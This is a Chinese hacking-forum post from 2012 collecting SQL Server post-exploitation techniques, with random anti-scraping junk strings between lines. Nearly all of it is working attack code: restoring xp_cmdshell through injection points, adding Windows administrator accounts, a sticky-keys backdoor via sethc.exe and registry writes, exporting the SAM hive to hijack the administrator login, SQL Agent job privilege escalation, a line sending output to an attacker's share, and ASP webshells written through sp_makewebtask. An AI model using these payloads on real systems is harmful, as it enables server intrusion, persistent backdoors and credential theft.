中国网络渗透测试联盟
标题:
XP_CMDSHELL恢复方法大全
[打印本页]
作者:
admin
时间:
2012-9-15 14:37
标题:
XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
; A! ~5 L- M( b' U
恢复方法:查询分离器连接后,
* w: G. X3 L, ]
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
( Y: a S' q6 s. h
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 ]" y! u' J% {7 b- G) g7 b9 {
然后按F5键命令执行完毕
( q/ K8 v6 V) w# E
- b& f! Y+ s% O- Z
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
8 K) v( Y9 j; U) F6 j4 q
恢复方法:查询分离器连接后,
3 }4 l) Y0 Y) R4 g- ]$ ?
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
% c" }# i; p; j& @' U
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
9 P3 L. f& B- @ n$ [ v$ {
然后按F5键命令执行完毕
7 d: W$ k) d: B5 C5 R+ N
T# R8 `$ z' J `
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
: Z7 t& V, z- X: v; r: V) }& T6 h/ \
恢复方法:查询分离器连接后,
4 t6 X0 _& _, Z4 X4 |- \
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
1 x5 v% b- W. b+ Z0 r7 U
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
k& M1 K9 R, y
然后按F5键命令执行完毕
r$ |$ e3 K5 \. b B$ D- }
" c" @! b* R' a2 v/ @5 p; a# K
4 终极方法.
4 _% O) k* g0 B3 A- R% U5 ^3 _- |
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
- a' r5 C1 r8 U
查询分离器连接后,
+ j9 Z M2 y! V& X5 D# ^
2000servser系统:
' k8 {( H) x M1 I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
$ v+ t z3 [1 L; A' X; r4 `4 X
" \2 H$ j+ _7 n }" a4 {) D
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
% ]9 }4 N+ G; F$ t# ]9 j$ ^
/ Z2 \9 ?, p) ?: S5 F; O: l$ [6 O2 ]: M
xp或2003server系统:
& {4 D+ \( o! c) D# K+ G
5 G( \$ d$ d. a9 |9 T5 [3 [5 z
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
' P( r9 G0 {0 x0 D1 v/ W+ X: A
" R: k8 z8 M) _- q4 `* }, I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
; g4 i/ c7 ^ a' n# A
! o. R+ @; z/ ?& T& W
, B- b# s: M7 d1 r4 G) N
五个SHIFT
8 g. r& J! E) S
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
. r5 Y+ S# \+ d0 R" W& T0 k
+ q3 |: q& j7 R
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
6 m3 o `3 {, @& {! ^' h" k
6 u$ r6 u L9 u, \
xp_cmdshell执行命令另一种方法
1 ^3 L/ [# Q1 g6 q, p: {
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
, \, ]% S2 I# A
; @ j0 h4 ]* J! M; ~1 B
判断存储扩展是否存在
5 d0 p3 }" v$ ^+ C4 k3 l
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
1 X+ k' K: ?: s5 G& Q
返回结果为1就OK
3 Q. W& ^" B$ L
$ y8 N; H( p2 q9 R T8 v& B7 {8 u
( H! T) y, l' g
上传xplog70.dll恢复xp_cmdshell语句:
: H8 j' ]7 z/ |8 Z
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
/ U) @; n+ m1 F( Z, z+ n1 X" c1 t
3 k$ P0 r' Y/ g2 O
否则上传xplog7.0.dll
9 ?4 X6 q" h5 f3 ^! f2 w- q, \
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
2 X2 T3 U% Q* w* @
4 m+ T s- j; t2 a+ T( {
7 j: i% \$ a1 b" T" M
2 o, m& r( l2 q' d" l9 u6 F; `3 N
首先开启沙盘模式:
) n- l4 L, i( ^( m+ j+ n" i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
7 {7 l4 a; R7 d6 t
5 @! {+ F9 I- t C( c1 G
然后利用jet.oledb执行系统命令
1 Y/ p; c) V6 Z: I7 J! q, ~
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
; H: s& K; I* g* N: ]
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
& {' m. z- R9 \0 l3 J
' B4 i1 l% B2 k
8 {/ f( I0 X; x& W5 U1 ~# J
/ a- K. h5 g+ ~. j3 E# F
恢复过程sp_addextendedproc 如下:
9 P9 Y8 T# d# C. z
create procedure sp_addextendedproc --- 1996/08/30 20:13
4 J- }9 Y( K( B! ]. a3 y4 g
@functname nvarchar(517),/* (owner.)name of function to call */
) u( X* a! a: w9 u, R
@dllname varchar(255)/* name of DLL containing function */
* e) F3 ^+ w$ J/ n+ D# O4 e5 L
as
$ z8 D! z2 h% P) o( l9 Y
set implicit_transactions off
3 H ^, @8 ^8 _6 U
if @@trancount > 0
* D3 z7 A8 o& P0 l$ v) K
begin
! ]6 Q$ w3 {# m1 n
raiserror(15002,-1,-1,'sp_addextendedproc')
( T# B% e8 }, i1 K) g7 {0 U4 ]
return (1)
9 }3 T) e. R- N! ~; Q/ p: p4 e
end
# }9 l E' H' q
dbcc addextendedproc( @functname, @dllname)
]% {9 W- l {' u j
return (0) -- sp_addextendedproc
" s3 d) d5 b+ {3 h( f2 g0 B) f* k
GO
8 j) e- t# @7 c7 m; g
4 a6 [, e- n T% W9 A
5 Z' G2 c" W2 {! P
* g# H4 K! h( v7 l5 t
导出管理员密码文件
$ _0 N8 a: F2 C+ c
sa默认可以读sam键.应该。
6 I9 z) M1 U a
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
, y# ~' g3 q$ c: `" Y2 G- c U
net user administrator test
$ d4 A, e0 ]7 I! Z4 c# G5 w
用administrator登陆.
7 E( K5 x. B$ d! n; J( C3 }
用完机器后
. e; y, i2 |# [: u7 f( M5 q
reg import c:\test.reg
' u2 W1 H# v8 I$ o
根本不用克隆.
2 g2 E F& D- O: n
找到对应的sid.
& ~: D3 ?) T5 T8 E+ K! E0 b9 X- u
3 D q+ u/ B6 D; P, C! F, [* }
0 { h9 J8 }3 ]$ y0 M0 g
( j: \: l3 H% C! ]( j
恢复所有存储过程
, o2 H. u) n2 ^4 a/ f3 s0 ]& e
use master
/ M" A. |8 r3 t* Q1 [
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
7 p7 H: L/ O- \
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
( U7 T8 ?! H8 e! i2 Y
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
2 ]$ x5 t5 Q1 a0 ^% o# Q
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
& ~* \1 ~: r/ x) O4 Z, E. f9 }
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
( |2 K+ z/ g6 J; i) R1 s: O: M1 r
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
4 a5 P' K; w' g( p! Q& m) V
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
* L2 `, @ Y5 a P& p3 F; D
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
5 [- e) V1 J1 f
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
9 T4 \" M( R" C, @
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
, R1 B# n9 H( L) S
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
+ R, J! G" E0 `' j
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
* K4 b( C3 |: q# t
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
( k# P, h$ p0 H9 ]) r0 `9 i. X& w0 `
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
6 j/ M* R) X* Y( M
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
4 ^2 j M6 i+ S) y1 |7 t
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
/ q. F! o; R8 @9 K' B
exec sp_addextendedproc xp_regread,'xpstar.dll'
* ]: h7 E- ]) z& p7 M
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
$ u+ t" O/ H v3 t% c7 n& {
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
; ^6 W% L1 R; [4 @" C" o8 T1 q/ M
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
/ T4 ?+ K7 m* u Z" K# I
7 o" }/ H3 H: d( G- [" i9 J" z
) U0 |; y: Y5 G# w; n) Z
建立读文件的存储过程
L5 T5 I' ?2 M1 n7 L z
Create proc sp_readTextFile @filename sysname
- M* ]3 G+ a% a: ]$ ?6 ^
as
# N8 K, w) w' {" Z$ ^
, M1 T9 p9 n- a& e1 b
begin
% W1 Z4 o6 C4 A' k
set nocount on
! L+ T7 {. T& ~' T3 V! L3 j6 h
Create table #tempfile (line varchar(8000))
+ k# j! Z" v. O4 ?
exec ('bulk insert #tempfile from "' + @filename + '"')
# C8 p" }# l# n
select * from #tempfile
( k K9 W9 u( u E2 h! b. }0 s
drop table #tempfile
+ b4 ^9 v8 u* n6 [( n( W9 ^- Y
End
' r S6 i4 M7 i) u' @% D# e
- s! ~! \3 I% c( u. Z
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
( F! B' X2 J: Q! K2 `. a k, S& s! U
查看登录用户
M( l, [: I' V) o4 ?* a% D
Select * from sysxlogins
! K5 [) \$ |# c! i Z6 S
9 r4 Q, c6 h: i% ?9 {
把文件内容读取到表中
, S5 }4 U& ?, l/ v
BULK INSERT tmp from "c:\test.txt"
) ]/ e5 g% l' V( H
dElete from 表名 清理表里的内容
) V6 o$ E5 I( f* ^
create table b_test(fn nvarchar(4000));建一个表,字段为fn
7 X M6 V0 e6 z8 Y- e9 U
- j2 Q; |) n- Y8 P
( l7 @3 |1 J @* S8 h# O
加sa用户
6 j i3 x. ]% d8 f
exec master.dbo.sp_addlogin user,pass;
# e8 `, q! J, b" a; Q, v, m
exec master.dbo.sp_addsrvrolemember user,sysadmin
9 L7 n9 c: B1 g' q, T" i) ]
/ x8 o" H; l/ A" j+ H
2 f$ G8 X- B! L7 u/ Z5 j
; d2 @$ l1 V5 C) Z$ F7 J" ^
读文件代码
: Z+ k* A: c' V; t6 ?( [! h* Z' W& y$ L
declare @o int, @f int, @t int, @ret int
; x3 B; ~9 m7 K- S4 Y* Z: _
declare @line varchar(8000)
9 i2 f1 J1 j! T$ J) U+ A% ^
exec sp_oacreate 'scripting.filesystemobject', @o out
: z$ i3 Y4 j# f- n- F$ G( F- S2 L2 H
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
+ Z& G. t) V7 b( {5 V! q' C0 T9 Z4 |
exec @ret = sp_oamethod @f, 'readline', @line out
% \$ y; y U4 K3 b, o
while( @ret = 0 )
6 M5 N2 X3 i. l; d
begin
: @% ?" y' n4 ?; n2 k, h
print @line
2 C8 I/ y& q# k7 V3 c& U
exec @ret = sp_oamethod @f, 'readline', @line out
* f* {7 g- f- D. t
end
2 G" h1 F( r" @9 m- r) u
" f+ n4 H8 e/ t
9 o3 q4 [7 q+ D. g& I
写文件代码:
5 N! y7 m- @9 R0 G3 j, ?0 M0 e
declare @o int, @f int, @t int, @ret int
! v) y9 v8 z3 \: J
exec sp_oacreate 'scripting.filesystemobject', @o out
^1 G# J5 B8 }" T* \! P0 C
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
& M6 D' @, ?$ v1 q: I
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
8 |0 m+ N- i4 ?7 E8 h5 o
+ c4 U- w: a6 s! j$ n6 ]% p
8 m& N/ w* A, f8 G* D) }/ P
添加lake2 shell
2 X' Y' k# }# Q( j
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
' F. E! y, m! C {
sp_dropextendedproc xp_lake2
W, {. B+ i9 E+ f7 }
EXEC xp_lake2 'net user'
, i9 W- j+ s" R& \7 A: y0 i
2 |9 F6 [8 ~9 {# l
) K6 e8 S) B, j
得到硬盘文件信息
6 [! b4 F) ] ?
--参数说明:目录名,目录深度,是否显示文件
$ }1 t: @% g4 p9 \7 z0 \2 j. A' l
execute master..xp_dirtree 'c:'
$ c3 z/ r1 G6 o4 V) M
execute master..xp_dirtree 'c:',1
) Y8 W Y, E/ r1 K: k% H7 Z' T0 V
execute master..xp_dirtree 'c:',1,1
5 D) ^- h) d6 q, g
" M; A; Y0 u; T
; O/ r+ @# A p) Z3 s( R/ L8 a, C
读serv-u配置信息
8 J7 W4 @$ K4 i$ J7 ]* c
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
; L' v- P/ w, O# z9 Q R1 [
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
- B1 p/ Q. K: g! `
- l" b8 r$ ~+ z! E0 p$ j4 C8 V- [( L) ~
通过xp_regwrite写SHIFT后门
! \& O. I7 \9 T7 z. r I- L, ?: o5 N
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
( n- t! S$ K! O* p4 w$ n: ~
: v# ~! R9 U8 E- }& T# `
; Y& C$ V* Y# r1 W, ?1 n8 b
: s' l# B* H. \6 @2 U6 S
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\
www.xx.com
';
( W" r `0 }/ C s {
exec sp_makewebtask 'd:\web\
www.XXXX.com
\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
# _ s0 H* P3 e, l! Y6 E7 `/ E/ S
# c e0 f- R7 n9 n/ T1 Q) D1 M
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
j1 [/ x |5 m9 B3 _& P
( J/ Y' w9 s' x) ~
# D" Z/ {' U/ C
% a9 s3 I+ \4 |, h+ f
sql server 2005下开启xp_cmdshell的办法
3 }% Y/ E, m' g& G2 A
- a6 [ j. |; k. B0 ?; H$ ~) l
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1 b9 A. }! S& \- p
/ e& j7 f2 t4 O/ d5 ]
SQL2005开启'OPENROWSET'支持的方法:
8 @: V! m( K1 m R, q: _
3 P/ v/ H% O8 U( B+ R! J8 |2 E# [
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
6 h: @; D% |5 j$ ~. h. p
) f6 b' R0 v% g
SQL2005开启'sp_oacreate'支持的方法:
& e) U7 L6 w1 z$ |1 u. p
, t8 p9 |. p6 F9 ]% q6 l) s/ P1 L3 S
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
' N+ P! u( ^/ W% x
2 x& V) n8 X5 Q5 o1 r
* a X4 s* p6 h; b
0 f3 f& O1 p. D b, C2 t o* {
& Y9 K a! K, S- R& b3 E8 k# {
7 l: B% c) @8 L1 b
7 e2 S. f$ x) P1 t6 S- P
+ f7 f4 S" S9 s) H- @7 Q1 O7 d9 R
3 h7 Z& q2 L/ J8 I* J' t
3 O0 l6 ^0 l) [* ~
2 g$ W& _3 b5 g( Y
$ o, c/ I/ K6 G& b ?% O) C- S3 T
/ c+ L5 y( G7 w" f! A) @* i
q+ S1 T8 \. W/ m+ k- ^( K
& x3 u/ D! H$ t0 z6 D) u; W
7 X; h; T. H' p( [& j% L
% P) Y1 d- }4 j g0 r
. L. u6 q/ H: w0 C# g# h
( z) V* x# j* L( b W9 D. w8 r1 r
. O3 z7 i/ h. {6 ]2 d7 C5 e3 G
/ y$ n4 Y) i5 @" s" Q3 z7 W6 a& L
9 x, b- ]+ S) _
- F6 c" E: |& n4 q4 I& l
" p1 A( j3 J. _. U7 |
1 ]: b- \+ b/ h0 \( W+ L
以下方面不知道能不能成功暂且留下研究哈:
2 i$ y0 j6 v$ J% w5 A7 @5 i
4)
7 S! ^' j/ J9 y+ x* K, F; \2 z
use msdb; --这儿不要是master哟
# H; q( q6 {% w2 e! D
exec sp_add_job @job_name= czy82 ;
1 w- w" l: ]/ P: C& B4 F
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
* t' e2 S! v) \# `& q
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
- O9 |- s8 ]( W6 [9 L( ^3 \
exec sp_start_job @job_name= czy82 ;
6 b5 n5 {3 b* A7 s2 Q/ r r
# B6 r9 v9 t/ l( _- J( L, {
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
5 r( [& l8 K$ S
执行tsql语句了.
) O9 t& `( T# b4 N+ F# a7 p
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
: @5 s! A- R- ~7 _. h) D
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
2 l4 E4 ?& a; y. e9 Z4 f
net start SQLSERVERAGENT
# G# S7 @5 G' b# P! h6 S
; r( I# L" R' s- t1 ?6 s& T/ k
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
! j, Z" t: _# o9 F H! t/ D2 s# [
USE msdb
. s# v$ c, @: f4 b( d
EXEC sp_add_job @job_name = GetSystemOnSQL ,
! }& w# {; u1 W. k) w1 F) B
@enabled = 1,
! u0 a* z6 k' c. M' i, @4 M0 S4 \
@description = This will give a low privileged user access to
, b9 i7 w! }4 e7 K; r" M
xp_cmdshell ,
* z7 `7 n, V7 `! g% n8 ?
@delete_level = 1
. W7 P; H1 m- G) @& w
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
7 C( Y( H: K8 {! j. N2 U2 j; u" I
@step_name = Exec my sql ,
) z* T5 D$ s- M b2 X* y7 k( }
@subsystem = TSQL ,
( V: |: C2 k# X& j! \
@command = exec master..xp_execresultset N select exec
9 v+ c$ g0 @8 w
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
" Q! t, ^1 y! ^. {" v- W0 D
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
8 w9 F$ u& I+ b& @5 y
@server_name = 你的SQL的服务器名
1 l( f3 G& l( z& Q# P' q6 w4 w
EXEC sp_start_job @job_name = GetSystemOnSQL
$ S3 k. M* y. @
n% r. x, Z- Z9 B
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
, Q) r8 d- C- U# h1 }3 M/ X
才让我们可以以public执行xp_cmdshell
# B( e1 E8 V8 W4 W6 i3 k- x/ K: x
$ z, Z& f% e* A& d3 y9 `0 A: k
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
' x$ c W9 t6 k' w. ^9 r
在安焦有文章:
http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
, J$ g* C4 G* n: Q9 m+ x
! w* u. R# G9 Z1 m: x G+ Z
USE msdb
* @6 g$ z5 ~; K9 l9 k! J4 B
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
: Z5 D8 X6 }: W: |
@enabled = 1,
7 U9 @3 \! y& H. W
@description = This will create a file called c:\sqlafc123.txt ,
3 z3 n- K* _7 E8 G2 d2 w" b
@delete_level = 1
3 u7 B, G2 g% \6 a+ R
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
8 g! s! q+ g$ {; z9 T; d
@step_name = SQLAFC ,
$ ?0 w- m- b" v* s$ D: G- A
@subsystem = TSQL ,
7 q5 ]+ W* } P: i
@command = select hello, this file was created by the SQL Agent. ,
4 y( E4 e) K" B& V- F3 Z
@output_file_name = c:\sqlafc123.txt
+ c5 X1 p1 v3 @: \
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
, T% m8 Q* ]: `; a/ V7 i2 U4 U
@server_name = SERVER_NAME
i9 Y( J' F- m0 S4 W- D' b
EXEC sp_start_job @job_name = ArbitraryFilecreate
& E( T- \5 u- q. b3 U& M
1 T2 \- V2 D4 R9 `! y6 x
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
4 N' y; k4 w, c, G: n% @
* t5 m. A- n: m0 g: Z! _
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
' G4 P/ M9 x$ ~
----------------------------------------------
/ l. d) w3 M, m! C0 }9 d
hello, this file was created by the SQL Agent.
+ ^7 m" ^$ h+ L+ V
; w: t# l& O. B
(1 ?????)
- h( g* |; O- i5 u+ G3 b+ F, r8 {5 r
+ \% V* x/ [* r3 w; M
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
F6 d9 W; w' s
命令的vbs文件到启动目录!
U( W6 y9 ^9 g& e- [9 j
k5 N9 y: A" U
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
+ C6 ^# w" v! }( G6 O f. I
关于sp_MScopyscriptfile 看下面的例子
+ f! C; t2 J& w
declare @command varchar(100)
4 Q- y: U. h1 R- x, C. {/ \ y
declare @scripfile varchar(200)
# Z$ z& Z" r; }1 \& P9 W- F
set concat_null_yields_null off
8 {: X9 [+ G0 {" U5 P
select @command= dir c:\ > "\\attackerip\share\dir.txt"
) i4 _) [3 g4 g
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
& b5 @8 K; Z: h3 w
exec sp_MScopyscriptfile @scripfile ,
' I2 s( G. G9 b+ x$ k8 W. u0 S
. M# W! J" i q' _
这两个东东都还在测试试哟
, Y# y4 {" s! o! F
让MSSQL的public用户得到一个本机的web shell
) X. S- x0 j+ E- N1 ?
: x; T8 x- @7 c0 b# m) g# y8 e" U! c( t
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
- ^& \* G) z7 P
--@query= select <img src=vbscript:msgbox(now())>
* ?2 S9 w* q7 R; U* l2 H' |" Y
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
8 k% N' O2 T% q' m! n2 j2 ]
@query= select
3 f8 O6 `6 M5 z* Z) I$ H% H0 g
<%On Error Resume Next
8 @- ?# d& W8 W/ Y3 R$ v1 H
Set oscript = Server.createObject("wscript.SHELL")
; b6 `8 i: b/ j& Z
Set oscriptNet = Server.createObject("wscript.NETWORK")
+ I- O0 Q- v/ i* y1 v0 e
Set oFileSys = Server.createObject("scripting.FileSystemObject")
8 k* g( W9 e o& U7 G
szCMD = Request.Form(".CMD")
0 y6 k: _+ C" L% f- x
If (szCMD <>"")Then
8 c7 O' ?- F* b6 w& l; K
szTempFile = "C:\" & oFileSys.GetTempName()
& c0 Q+ ]! K' c" e( C
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
' K1 E- ?& e4 A* `
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
: u( |4 j5 e$ X7 f! T) A
End If %>
2 D( w9 J S+ O2 F Y# O* M
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="
OST">
. O/ K+ ^0 \9 R
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
7 C8 B2 m$ B( }; z! m
</FORM><
RE>
' S/ F6 G1 n2 Y# e! J) H2 L# a/ S
<% If (IsObject(oFile))Then
, T ^1 @: d0 D# m( v& |" h
On Error Resume Next
! s5 L# E2 J4 g7 ]: a! }
Response.Write Server.HTMLEncode(oFile.ReadAll)
; x# W0 k9 h1 Q: v7 V+ s! S; u( `0 i' l
oFile.Close
1 m" d0 I' W5 B8 d
Call oFileSys.deleteFile(szTempFile, True)
" N, h E/ E9 @9 X4 Z$ E
End If%>
; [( f1 A! H* L# Q3 T
</BODY></HTML>
. T# R9 Z; Z6 ?1 t
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2